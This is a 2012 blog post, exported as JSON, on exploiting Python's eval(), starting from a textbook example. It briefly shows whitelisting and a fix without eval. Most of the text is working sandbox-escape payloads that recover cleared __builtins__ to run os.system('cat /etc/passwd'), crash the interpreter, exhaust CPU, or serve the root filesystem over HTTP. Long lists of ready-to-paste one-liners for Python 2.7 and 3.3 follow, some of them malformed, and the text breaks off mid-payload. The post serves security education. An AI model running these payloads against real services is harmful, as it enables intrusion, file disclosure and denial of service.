{"id":584,"date":"2012-10-25T14:50:43","date_gmt":"2012-10-25T13:50:43","guid":{"rendered":"http:\/\/www.floyd.ch\/?p=584"},"modified":"2023-05-31T08:25:33","modified_gmt":"2023-05-31T07:25:33","slug":"exploiting-pythons-eval","status":"publish","type":"post","link":"https:\/\/www.floyd.ch\/?p=584","title":{"rendered":"Exploiting Python&#8217;s Eval"},"content":{"rendered":"<p>For those of you just interested in the exploiting part, scroll down to &#8220;<strong>Exploiting<\/strong>&#8220;.<\/p>\n<p>I&#8217;m reading the following book right now:<\/p>\n<blockquote><p>Programming Python, Fourth Edition, by Mark Lutz (O&#8217;Reilly). Copyright 2011 Mark Lutz, 978-0-596-15810-1<\/p><\/blockquote>\n<p>Example 1-22 on page 38\/39 reads as following:<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\nme$ cd PP4E\/Preview\/\r\nme$ cat peopleinteract_update.py\r\n# interactive updates\r\nimport shelve\r\nfrom person import Person\r\nfieldnames = ('name', 'age', 'job', 'pay')\r\n\r\ndb = shelve.open('class-shelve')\r\nwhile True:\r\n    key = input('\\nKey? =&gt; ')\r\n    if not key: break\r\n    if key in db:\r\n        record = db&#x5B;key]                      # update existing record\r\n    else:                                     # or make\/store new rec\r\n        record = Person(name='?', age='?')    # eval: quote strings\r\n    for field in fieldnames:\r\n        currval = getattr(record, field)\r\n        newtext = input('\\t&#x5B;%s]=%s\\n\\t\\tnew?=&gt;' % (field, currval))\r\n        if newtext:\r\n            setattr(record, field, eval(newtext))\r\n    db&#x5B;key] = record\r\ndb.close()\r\n<\/pre>\n<p>Of course I saw that &#8220;eval&#8221;, so I immediately stopped reading the book and started reading about how I could exploit this little Python program. The book doesn&#8217;t mention that this example could be a security problem, but it looks like they wanted to add a comment, because on page 49 it reads:<\/p>\n<blockquote><p>As mentioned previously, this is potentially dangerous if someone sneaks some malicious cod into our shelve, but we&#8217;ll finesse such concerns for now.<\/p><\/blockquote>\n<p>In my opinion it would be better to show a programmer how easy it is to specify a whitelist of characters (eg. say a-zA-Z0-9 and the single quote). From a security perspective, incorrect or insufficient input filtering is very dangerous. Although most of the time not the root cause, input filtering can help to prevent buffer overflows, XSS, SQL injection and most other injections. Whitelisting in Python would be done as following:<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\nimport string\r\nwhitelist = string.ascii_letters + string.digits + &quot;' &quot;\r\nnewtext = ''.join(c for c in newtext if c in whitelist)\r\n<\/pre>\n<p>Of course this whitelist would not cover Unicode characters. So the filter could be changed to a blacklist filter, which allows all Unicode characters, which should still be pretty safe (although blacklists are bad practice):<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\nimport string\r\nwhitelist = string.ascii_letters + string.digits + &quot;' &quot;\r\nnewtext = ''.join(c for c in newtext if c in whitelist or ord(c) &gt; 127)\r\n<\/pre>\n<p>Of course this is just a workaround, the proper solution would be not to use the eval function. Instead all the input should be treated as strings and only fields with integers (age and pay) should be parsed to integers. The following code is the proper solution for the above example:<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\nme$ cd PP4E\/Preview\/\r\nme$ cat peopleinteract_update.py\r\n# interactive updates\r\nimport shelve\r\nfrom person import Person\r\nfieldnames = ('name', 'age', 'job', 'pay')\r\nnumerical_fieldnames = ('age', 'pay')\r\n\r\ndb = shelve.open('class-shelve')\r\nwhile True:\r\n    key = raw_input('\\nKey? =&gt; ')\r\n    if not key: break\r\n    if key in db:\r\n        record = db&#x5B;key]                      # update existing record\r\n    else:                                     # or make\/store new rec\r\n        record = Person(name='?', age='?')\r\n    for field in fieldnames:\r\n        currval = getattr(record, field)\r\n        newtext = raw_input('\\t&#x5B;%s]=%s\\n\\t\\tnew?=&gt;' % (field, currval))\r\n        newtext = int(newtext) if field in numerical_fieldnames else newtext\r\n        if newtext:\r\n            setattr(record, field, newtext)\r\n    db&#x5B;key] = record\r\ndb.close()\r\n<\/pre>\n<p><strong>Exploiting<\/strong><\/p>\n<p>So let&#8217;s talk about exploiting the first example. I soon found out that the example would be very easy to exploit. For example the exit function is interpreted by eval and the program quits:<\/p>\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">\r\nme$ python3.3 peopleinteract_update.py\r\n\r\nKey? =&gt; tom\r\n\t&#x5B;name]=56\r\n\t\tnew?=&gt;exit()\r\nme$\r\n<\/pre>\n<p>So I read an <a title=\"eval is really dangerous\" href=\"https:\/\/nedbatchelder.com\/blog\/201206\/eval_really_is_dangerous.html\" target=\"_blank\" rel=\"noopener\">article<\/a> about the problem. I found this little code example, which can be used to execute something on your system (Unix example):<\/p>\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">\r\n$ python3.3 peopleinteract_update.py\r\n\r\nKey? =&gt; tom\r\n\t&#x5B;name]=56\r\n\t\tnew?=&gt;__import__('os').system('echo hello, I am a command execution')\r\nhello, I am a command execution\r\n\t&#x5B;age]=mgr\r\n\t\tnew?=&gt;\r\n<\/pre>\n<p>As you see, the echo command is executed and printed on the next line. I told myself that was to easy and I wanted to exploit the program in harder circumstances. As described in that article, some people try to &#8220;secure&#8221; an eval call by overwriting the __builtins__ of Python. So let&#8217;s assume the line with eval in the example 1-22 looks as following:<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\nsetattr(record, field, eval(newtext, {'__builtins__':{}}))\r\n<\/pre>\n<p>To clear the builtins is considered a &#8220;security measure&#8221; for a lot of people, but as described in the article above it just makes it harder to exploit, not impossible. So I wanted to try that segmentation fault technique in the article on the example. It worked well for Python 2.7:<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\n$ python\r\nPython 2.7.3 (default, Apr 19 2012, 00:55:09)\r\n&#x5B;GCC 4.2.1 (Based on Apple Inc. build 5658) (LLVM build 2335.15.00)] on darwin\r\nType &quot;help&quot;, &quot;copyright&quot;, &quot;credits&quot; or &quot;license&quot; for more information.\r\n&gt;&gt;&gt; s = &quot;&quot;&quot;\r\n... (lambda fc=(\r\n...     lambda n: &#x5B;\r\n...         c for c in\r\n...             ().__class__.__bases__&#x5B;0].__subclasses__()\r\n...             if c.__name__ == n\r\n...         ]&#x5B;0]\r\n...     ):\r\n...     fc(&quot;function&quot;)(\r\n...         fc(&quot;code&quot;)(\r\n...             0,0,0,0,&quot;KABOOM&quot;,(),(),(),&quot;&quot;,&quot;&quot;,0,&quot;&quot;\r\n...         ),{}\r\n...     )()\r\n... )()\r\n... &quot;&quot;&quot;\r\n&gt;&gt;&gt; eval(s, {'__builtins__':{}})\r\nSegmentation fault: 11\r\nme$\r\n<\/pre>\n<p>But they changed the constructor for Python 3 for the code object. So if you run the same code on Python 3.3 it will output that it needs 13 arguments:<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\n$ python3.3\r\nPython 3.3.0rc2 (default, Sep  9 2012, 04:29:34)\r\n&#x5B;GCC 4.2.1 Compatible Apple Clang 3.1 (tags\/Apple\/clang-318.0.58)] on darwin\r\nType &quot;help&quot;, &quot;copyright&quot;, &quot;credits&quot; or &quot;license&quot; for more information.\r\n&gt;&gt;&gt; #same s as before\r\n...\r\n&gt;&gt;&gt; eval(s, {'__builtins__':{}})\r\nTraceback (most recent call last):\r\n  File &quot;&quot;, line 1, in\r\n  File &quot;&quot;, line 3, in\r\n  File &quot;&quot;, line 11, in\r\nTypeError: code() takes at least 13 arguments (12 given)\r\n&gt;&gt;&gt;\r\n<\/pre>\n<p>So because the book is about Python 3, we have to change the arguments for the code object constructor. But which arguments does it take? To find that out I started a Python 3 console and typed in the following:<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\n&gt;&gt;&gt; def foo(): pass\r\n...\r\n&gt;&gt;&gt; help(type(foo.__code__))\r\n<\/pre>\n<p>We get a nice description of the constructor (__init__ method) of the code object and the message that this isn&#8217;t for the faint of heart. Fine for me. We get the following argument description for the constructor:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\ncode(argcount, kwonlyargcount, nlocals, stacksize, flags, codestring,\r\n |        constants, names, varnames, filename, name, firstlineno,\r\n |        lnotab&#x5B;, freevars&#x5B;, cellvars]])\r\n<\/pre>\n<p>There is no &#8220;kwonlyargcount&#8221; for Python 2.7, so with an additional 0 in the argument list and specifying two literals as &#8220;bytes&#8221; instead of &#8220;strings&#8221;, we get a Python 3 segmentation fault:<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\ns = &quot;&quot;&quot;\r\n(lambda fc=(\r\n    lambda n: &#x5B;\r\n        c for c in\r\n            ().__class__.__bases__&#x5B;0].__subclasses__()\r\n            if c.__name__ == n\r\n        ]&#x5B;0]\r\n    ):\r\n    fc(&quot;function&quot;)(\r\n        fc(&quot;code&quot;)(\r\n            0,0,0,0,0,b&quot;KABOOM&quot;,(),(),(),&quot;&quot;,&quot;&quot;,0,b&quot;&quot;\r\n        ),{}\r\n    )()\r\n)()\r\n&quot;&quot;&quot;\r\neval(s, {'__builtins__':{}})\r\n<\/pre>\n<p>Now of course we want to feed it to the example program. So removing the new lines and replacing the three double quotes with one single quote we get:<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\ns = '(lambda fc=( lambda n: &#x5B; c for c in  ().__class__.__bases__&#x5B;0].__subclasses__()  if c.__name__ == n ]&#x5B;0] ): fc(&quot;function&quot;)( fc(&quot;code&quot;)( 0,0,0,0,0,b&quot;KABOOM&quot;,(),(),(),&quot;&quot;,&quot;&quot;,0,b&quot;&quot; ),{} )())()'\r\neval(s, {'__builtins__':{}})\r\n<\/pre>\n<p>Ok, those two lines still work fine on the interactive Python 3 shell (and by removing one of the first 0 arguments for the code init method it will also work in Python 2.7). Can we exploit the test application now? Yes we can:<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\nme$ python3.3 peopleinteract_update.py\r\n\r\nKey? =&gt; abc\r\n\t&#x5B;name]=?\r\n\t\tnew?=&gt;(lambda fc=( lambda n: &#x5B; c for c in  ().__class__.__bases__&#x5B;0].__subclasses__()  if c.__name__ == n ]&#x5B;0] ): fc(&quot;function&quot;)( fc(&quot;code&quot;)( 0,0,0,0,0,b&quot;KABOOM&quot;,(),(),(),&quot;&quot;,&quot;&quot;,0,b&quot;&quot; ),{} )())()\r\nSegmentation fault: 11\r\nme$\r\n<\/pre>\n<p>Ok, seg faulting is fine, but what about executing real code? For that we have to go a little bit back. First, let&#8217;s try again in Python 2.7 with the cool trick described in <a title=\"Recovering cleared globals\" href=\"https:\/\/www.reddit.com\/r\/Python\/comments\/hftnp\/ask_rpython_recovering_cleared_globals\/\" target=\"_blank\" rel=\"noopener\">an article on reddit<\/a>. If we run the following code in a python interactive interpreter, it will show us the help page (of the help command itself):<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\ns = &quot;&quot;&quot;\r\n(lambda __builtins__=(&#x5B;x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings']&#x5B;0]()._module.__builtins__):\r\n    __builtins__&#x5B;'help'](__builtins__&#x5B;'help'])\r\n)()\r\n&quot;&quot;&quot;\r\neval(s, {'__builtins__':{}})\r\n<\/pre>\n<p>So let&#8217;s see the builtins we get back with this method:<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\n&gt;&gt;&gt; a = &#x5B;x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings']&#x5B;0]()._module.__builtins__.keys()&gt;&gt;&gt; a.sort()\r\n&gt;&gt;&gt; a\r\n&#x5B;'ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BufferError', 'BytesWarning', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError', 'None', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'ReferenceError', 'RuntimeError', 'RuntimeWarning', 'StandardError', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'ZeroDivisionError', '_', '__debug__', '__doc__', '__import__', '__name__', '__package__', 'abs', 'all', 'any', 'apply', 'basestring', 'bin', 'bool', 'buffer', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'cmp', 'coerce', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'execfile', 'exit', 'file', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'intern', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'long', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'raw_input', 'reduce', 'reload', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'unichr', 'unicode', 'vars', 'xrange', 'zip']\r\n<\/pre>\n<p>For example we can now print something:<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\ns = &quot;&quot;&quot;\r\n(lambda __builtins__=(&#x5B;x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings']&#x5B;0]()._module.__builtins__):\r\n    __builtins__&#x5B;'print']('THIS IS A PYTHON EVAL INTERPRETED OUTPUT')\r\n)()\r\n&quot;&quot;&quot;\r\neval(s, {'__builtins__':{}})\r\n<\/pre>\n<p>We can also exit the interpreter form within the eval:<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\ns = &quot;&quot;&quot;\r\n(lambda __builtins__=(&#x5B;x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings']&#x5B;0]()._module.__builtins__):\r\n    __builtins__&#x5B;'exit']()\r\n)()\r\n&quot;&quot;&quot;\r\neval(s, {'__builtins__':{}})\r\n<\/pre>\n<p>We can also delay the answer of the interpreter (takes about 10 seconds on my machine):<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\ns = &quot;&quot;&quot;\r\n(lambda __builtins__=(&#x5B;x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings']&#x5B;0]()._module.__builtins__):\r\n    __builtins__&#x5B;'sum'](__builtins__&#x5B;'xrange'](-999999999,99999999))\r\n)()\r\n&quot;&quot;&quot;\r\neval(s, {'__builtins__':{}})\r\n<\/pre>\n<p>Of course if you add some more 9s to those numbers, you can DoS the interpreter. <\/p>\n<p>But if we try to read a file, the restricted mode gets hit on my machine. It <a href=\"https:\/\/code.activestate.com:443\/lists\/python-list\/385170\" title=\"Python&#039;s Restricted Mode\" target=\"_blank\" rel=\"noopener\">seems<\/a> the restricted mode is &#8220;entered when the builtins in main_dict are not the same as the interpreter&#8217;s builtins&#8221;. Here&#8217;s the corresponding code:<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\ns = &quot;&quot;&quot;\r\n(lambda __builtins__=(&#x5B;x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings']&#x5B;0]()._module.__builtins__):\r\n    __builtins__&#x5B;'print'](__builtins__&#x5B;'file']('\/etc\/passwd').read())\r\n)()\r\n&quot;&quot;&quot;\r\neval(s, {'__builtins__':{}})\r\n<\/pre>\n<p>The console answers with:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nTraceback (most recent call last):\r\n  File &quot;&quot;, line 1, in\r\n  File &quot;&quot;, line 2, in\r\n  File &quot;&quot;, line 3, in\r\nIOError: file() constructor not accessible in restricted mode\r\n<\/pre>\n<p>Hmm, ok. Strange, because we can execute commands on the system:<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\ns = &quot;&quot;&quot;\r\n(lambda __builtins__=(&#x5B;x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings']&#x5B;0]()._module.__builtins__):\r\n    __builtins__&#x5B;'print'](__builtins__&#x5B;'__import__']('os').system('cat \/etc\/passwd'))\r\n)()\r\n&quot;&quot;&quot;\r\neval(s, {'__builtins__':{}})\r\n<\/pre>\n<p>So I don&#8217;t really care if I can read files on the system, I would simply execute a reverse shell if this would be an exploitable web service. My next try was the subprocess module, but no luck:<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\ns = &quot;&quot;&quot;\r\n(lambda __builtins__=(&#x5B;x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings']&#x5B;0]()._module.__builtins__):\r\n__builtins__&#x5B;'print'](__builtins__&#x5B;'__import__']('subprocess').Popen('cat \/etc\/passwd', shell=True))\r\n)()\r\n&quot;&quot;&quot;\r\neval(s, {'__builtins__':{}})\r\n<\/pre>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nTraceback (most recent call last):\r\nFile &quot;&quot;, line 1, in\r\nFile &quot;&quot;, line 2, in\r\nFile &quot;&quot;, line 3, in\r\nRuntimeError: cannot unmarshal code objects in restricted execution mode\r\n<\/pre>\n<p>Ok, so no subprocesses and no reading of files. Let&#8217;s simply do some cool stuff with the system module, like showing \/etc\/passwd above. Let&#8217;s start an HTTP Server which serves a directory listing of the root directory on port 8000:<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\ns = &quot;&quot;&quot;\r\n(lambda __builtins__=(&#x5B;x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings']&#x5B;0]()._module.__builtins__):\r\n__builtins__&#x5B;'print'](__builtins__&#x5B;'__import__']('os').system('cd \/; python -m SimpleHTTPServer'))\r\n)()\r\n&quot;&quot;&quot;\r\neval(s, {'__builtins__':{}})\r\n<\/pre>\n<p>I guess we&#8217;re pretty clear that from this point on we would have control over the machine, which is running the eval command. Here are the payloads (in several different versions) as one liners for Python 2.7. The file, open and fileinput payload fails because of the IOError of the restricted mode when the builtins are different, os.popen fails with a permission denied for me. The rest works on my machine:<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\nprint('THIS IS A PYTHON EVAL INTERPRETED OUTPUT')\r\nexit()\r\nsum(xrange(-999999999,99999999))\r\n\r\nfile('\/etc\/passwd').read()\r\nopen('\/etc\/passwd').read()\r\n__import__&#x5B;'fileinput'].input('\/etc\/passwd')\r\n__import__&#x5B;'os'].system('cat \/etc\/passwd')\r\n__import__&#x5B;'os'].popen('\/etc\/passwd', 'r').read()\r\n__import__&#x5B;'os'].system('cd \/; python -m SimpleHTTPServer')\r\n\r\nprint(file('\/etc\/passwd').read())\r\nprint(open('\/etc\/passwd').read())\r\nprint(__import__&#x5B;'fileinput'].input('\/etc\/passwd'))\r\nprint(__import__&#x5B;'os'].system('cat \/etc\/passwd'))\r\nprint(__import__&#x5B;'os'].popen('\/etc\/passwd', 'r').read())\r\nprint(__import__&#x5B;'os'].system('cd \/; python -m SimpleHTTPServer'))\r\n\r\n&#x5B;x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings']&#x5B;0]()._module.__builtins__&#x5B;'print']('THIS IS A PYTHON EVAL INTERPRETED OUTPUT')\r\n&#x5B;x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings']&#x5B;0]()._module.__builtins__&#x5B;'exit']()\r\n&#x5B;x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings']&#x5B;0]()._module.__builtins__&#x5B;'sum'](&#x5B;x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings']&#x5B;0]()._module.__builtins__&#x5B;'xrange'](-999999999,99999999))\r\n\r\n&#x5B;x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings']&#x5B;0]()._module.__builtins__&#x5B;'file']('\/etc\/passwd').read()\r\n&#x5B;x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings']&#x5B;0]()._module.__builtins__&#x5B;'open']('\/etc\/passwd').read()\r\n&#x5B;x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings']&#x5B;0]()._module.__builtins__&#x5B;'__import__']('fileinput').input('\/etc\/passwd')\r\n&#x5B;x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings']&#x5B;0]()._module.__builtins__&#x5B;'__import__']('os').system('cat \/etc\/passwd')\r\n&#x5B;x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings']&#x5B;0]()._module.__builtins__&#x5B;'__import__']('os').popen('\/etc\/passwd', 'r').read()\r\n&#x5B;x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings']&#x5B;0]()._module.__builtins__&#x5B;'__import__']('os').system('cd \/; python -m SimpleHTTPServer')\r\n\r\n&#x5B;x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings']&#x5B;0]()._module.__builtins__&#x5B;'print'](&#x5B;x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings']&#x5B;0]()._module.__builtins__&#x5B;'file']('\/etc\/passwd').read())\r\n&#x5B;x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings']&#x5B;0]()._module.__builtins__&#x5B;'print'](&#x5B;x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings']&#x5B;0]()._module.__builtins__&#x5B;'open']('\/etc\/passwd').read())\r\n&#x5B;x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings']&#x5B;0]()._module.__builtins__&#x5B;'print'](&#x5B;x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings']&#x5B;0]()._module.__builtins__&#x5B;'__import__']('fileinput').input('\/etc\/passwd'))\r\n&#x5B;x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings']&#x5B;0]()._module.__builtins__&#x5B;'print'](&#x5B;x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings']&#x5B;0]()._module.__builtins__&#x5B;'__import__']('os').system('cat \/etc\/passwd'))\r\n&#x5B;x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings']&#x5B;0]()._module.__builtins__&#x5B;'print'](&#x5B;x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings']&#x5B;0]()._module.__builtins__&#x5B;'__import__']('os').popen('\/etc\/passwd', 'r').read())\r\n&#x5B;x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings']&#x5B;0]()._module.__builtins__&#x5B;'print'](&#x5B;x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings']&#x5B;0]()._module.__builtins__&#x5B;'__import__']('os').system('cd \/; python -m SimpleHTTPServer'))\r\n<\/pre>\n<p>Ok, what about Python 3 now? I haven&#8217;t found a reliable way to restore the builtins on Python 3. The following code is taken from <a href=\"https:\/\/www.reddit.com\/r\/Python\/comments\/hftnp\/ask_rpython_recovering_cleared_globals\/\" title=\"Reddit Python Recovering Cleared Globals\" target=\"_blank\" rel=\"noopener\">Reddit<\/a> and should work in general:<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\nlookup = lambda n: &#x5B;x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == n]&#x5B;0]\r\ntry:\r\n    lookup('Codec')().decode('')\r\nexcept lookup('BaseException') as e:\r\n    del lookup\r\n    __builtins__ = e.__traceback__.tb_next.tb_frame.f_globals&#x5B;'__builtins__']\r\n<\/pre>\n<p>But because <a href=\"https:\/\/code.activestate.com:443\/lists\/python-dev\/90256\" title=\"Python Try\/Except Inline\" target=\"_blank\" rel=\"noopener\">try\/except blocks are not allowed to be inlined<\/a> and eval can not parse multiple lines (SyntaxError: invalid syntax for try), this technique can&#8217;t be used:<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\ns = &quot;&quot;&quot;try:\r\n    int(&quot;a&quot;)\r\nexcept:\r\n    print(123)\r\n&quot;&quot;&quot;\r\neval(s, {'__builtins__':{}})\r\n<\/pre>\n<p>So we would have to find another way to restore the builtins or we have to properly build a code object like we did for the segmentation fault above. I guess another thing for my TODO list.<br \/>\nUPDATE 19th Feb 2013:<br \/>\nTalked to Ned, he wrote <a href=\"https:\/\/nedbatchelder.com\/blog\/201302\/finding_python_3_builtins.html\" title=\"Finding python 3 builtins\" target=\"_blank\" rel=\"noopener\">a nice script to find builtins<\/a>. And here we go for python 3.3:<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\n&gt;&gt;&gt; x = &quot;&#x5B;x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'Pattern']&#x5B;0].__init__.__globals__&#x5B;'__builtins__']&#x5B;'print']('aaaa')&quot;\r\n&gt;&gt;&gt; eval(x, {'__builtins__':{}})\r\naaaa\r\n&gt;&gt;&gt;\r\n<\/pre>\n<p>So the payloads for python 3 are:<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\nprint('THIS IS A PYTHON EVAL INTERPRETED OUTPUT')\r\nexit()\r\nsum(xrange(-999999999,99999999))\r\n\r\nfile('\/etc\/passwd').read()\r\nopen('\/etc\/passwd').read()\r\n__import__&#x5B;'fileinput'].input('\/etc\/passwd')\r\n__import__&#x5B;'os'].system('cat \/etc\/passwd')\r\n__import__&#x5B;'os'].popen('\/etc\/passwd', 'r').read()\r\n__import__&#x5B;'os'].system('cd \/; python -m SimpleHTTPServer')\r\n\r\nprint(file('\/etc\/passwd').read())\r\nprint(open('\/etc\/passwd').read())\r\nprint(__import__&#x5B;'fileinput'].input('\/etc\/passwd'))\r\nprint(__import__&#x5B;'os'].system('cat \/etc\/passwd'))\r\nprint(__import__&#x5B;'os'].popen('\/etc\/passwd', 'r').read())\r\nprint(__import__&#x5B;'os'].system('cd \/; python -m SimpleHTTPServer'))\r\n\r\n&#x5B;x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'Pattern']&#x5B;0].__init__.__globals__&#x5B;'__builtins__']&#x5B;'print']('THIS IS A PYTHON EVAL INTERPRETED OUTPUT')\r\n&#x5B;x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'Pattern']&#x5B;0].__init__.__globals__&#x5B;'__builtins__']&#x5B;'exit']()\r\n&#x5B;x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'Pattern']&#x5B;0].__init__.__globals__&#x5B;'__builtins__']&#x5B;'sum'](&#x5B;x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'Pattern']&#x5B;0].__init__.__globals__&#x5B;'__builtins__']&#x5B;'xrange'](-999999999,99999999))\r\n\r\n&#x5B;x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'Pattern']&#x5B;0].__init__.__globals__&#x5B;'__builtins__']&#x5B;'file']('\/etc\/passwd').read()\r\n&#x5B;x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'Pattern']&#x5B;0].__init__.__globals__&#x5B;'__builtins__']&#x5B;'open']('\/etc\/passwd').read()\r\n&#x5B;x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'Pattern']&#x5B;0].__init__.__globals__&#x5B;'__builtins__']&#x5B;'__import__']('fileinput').input('\/etc\/passwd')\r\n&#x5B;x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'Pattern']&#x5B;0].__init__.__globals__&#x5B;'__builtins__']&#x5B;'__import__']('os').system('cat \/etc\/passwd')\r\n&#x5B;x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'Pattern']&#x5B;0].__init__.__globals__&#x5B;'__builtins__']&#x5B;'__import__']('os').popen('\/etc\/passwd', 'r').read()\r\n&#x5B;x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'Pattern']&#x5B;0].__init__.__globals__&#x5B;'__builtins__']&#x5B;'__import__']('os').system('cd \/; python -m SimpleHTTPServer')\r\n\r\n&#x5B;x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'Pattern']&#x5B;0].__init__.__globals__&#x5B;'__builtins__']&#x5B;'print'](&#x5B;x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'Pattern']&#x5B;0].__init__.__globals__&#x5B;'__builtins__']&#x5B;'file']('\/etc\/passwd').read())\r\n&#x5B;x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'Pattern']&#x5B;0].__init__.__globals__&#x5B;'__builtins__']&#x5B;'print'](&#x5B;x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'Pattern']&#x5B;0].__init__.__globals__&#x5B;'__builtins__']&#x5B;'open']('\/etc\/passwd').read())\r\n&#x5B;x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'Pattern']&#x5B;0].__init__.__globals__&#x5B;'__builtins__']&#x5B;'print'](&#x5B;x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'Pattern']&#x5B;0].__init__.__globals__&#x5B;'__builtins__']&#x5B;'__import__']('fileinput').input('\/etc\/passwd'))\r\n&#x5B;x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'Pattern']&#x5B;0].__init__.__globals__&#x5B;'__builtins__']&#x5B;'print'](&#x5B;x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'Pattern']&#x5B;0].__init__.__globals__&#x5B;'__builtins__']&#x5B;'__import__']('os').system('cat 